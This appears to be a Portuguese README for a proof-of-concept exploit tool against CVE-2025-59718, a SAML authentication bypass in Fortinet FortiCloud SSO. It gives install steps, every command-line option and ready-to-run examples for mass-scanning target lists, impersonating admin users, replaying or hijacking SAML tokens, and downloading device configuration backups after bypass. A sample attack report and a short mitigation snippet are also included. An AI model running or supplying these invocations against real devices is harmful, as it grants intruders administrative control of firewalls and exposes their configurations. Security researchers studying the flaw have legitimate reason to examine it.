
A Fortinet anunciou duas vulnerabilidades de bypass de autenticação intimamente relacionadas em 9 de dezembro de 2025. Ambas as falhas envolvem verificação inadequada de assinaturas criptográficas (CWE‑347) no tratamento de respostas SAML para a funcionalidade de login do FortiCloud SSO.
Esta ferramenta é um script de exploit de prova de conceito (PoC) para o CVE-2025-59718, uma vulnerabilidade crítica de bypass de autenticação em produtos Fortinet (por exemplo, FortiOS, FortiProxy, FortiSwitchManager) devido à verificação inadequada de assinaturas criptográficas em mensagens SAML para o SSO FortiCloud. A vulnerabilidade permite que atacantes remotos não autenticados contornem a autenticação e obtenham acesso administrativo criando e enviando uma resposta SAML não assinada.
Nota Importante: Este script destina-se apenas a fins educacionais, de pesquisa e testes autorizados. O uso não autorizado contra sistemas sem permissão explícita é ilegal e antiético. Sempre cumpra as leis aplicáveis e obtenha a devida autorização antes de testar.
O script suporta varredura de alvos únicos ou em lote, uso opcional de proxy, simulações de replay de token SAML e sequestro de sessão, e ações pós-autenticação como download de arquivos de configuração. Ele utiliza multithreading para eficiência e registra resultados em arquivos para análise.
config system global
set admin-forticloud-sso-login disable
end
pip:
pip install requests argparse
exploit.py).pip install -r requirements.txt
requirements.txt com: requests e argparse, se necessário.)chmod +x exploit.py
Execute o script com Python:
python exploit.py [options]
--target <IP/hostname>: Alvo único para varredura (por exemplo, 192.168.1.1 ou example.com).--targets <comma-separated list>: Múltiplos alvos (por exemplo, 192.168.1.1,example.com).--file <path>: Arquivo com um alvo por linha.--username <name>: Nome de usuário a personificar no payload SAML (padrão: admin).--endpoint <path>: Endpoint de login SAML (padrão: /remote/saml/login).--max-threads <int>: Número máximo de threads concorrentes (padrão: 10; máximo recomendado: 50).--saml-token <token>: Token SAML codificado em Base64 para replay/sequestro (opcional).--proxy <url>: URL do proxy (por exemplo, http://127.0.0.1:8080).--post-auth-config: Habilita download de configuração pós-autenticação (flag; desabilitado por padrão).--vulnerable-file <path>: Arquivo para salvar alvos vulneráveis (padrão: vulnerable_targets.txt).--output-file <path>: Arquivo CSV para relatórios de ataque (padrão: attack_report.csv).Nota: Se nenhuma opção de alvo for fornecida, o script será encerrado com um erro.
Varredura de Alvo Único:
python exploit.py --target 192.168.1.1 --username admin --proxy http://127.0.0.1:8080
Varre um único dispositivo, personificando admin, através de um proxy local.
Varredura em Lote a partir de Lista:
python exploit.py --targets 192.168.1.1,example.com --max-threads 20 --post-auth-config
Varre múltiplos alvos em paralelo, habilita download de configuração em caso de sucesso.
Varredura Baseada em Arquivo com Replay de Token:
python exploit.py --file targets.txt --saml-token <base64_token> --endpoint /custom/saml
Processa alvos de targets.txt, tenta replay/sequestro de token.
Varredura Completa Não Interativa:
python exploit.py --file targets.txt --username superadmin --max-threads 15 --post-auth-config --output-file results.csv
Nome de usuário personalizado, threads altas, download de configuração, saída personalizada.
/api/v2/monitor/system/config/backup.Exemplo de linha CSV:
Target,Username,Attack Type,Result,Status Code
https://192.168.1.1,admin,Config Download,Success,200
--proxy para depuração.requests e argparse estão instalados.--max-threads se os limites de recursos forem atingidos.Este é um PoC; contribuições para melhorias (por exemplo, melhor detecção, recursos adicionais) são bem-vindas via pull requests. Foco em segurança e ética.
Última Atualização: 22 de dezembro de 2025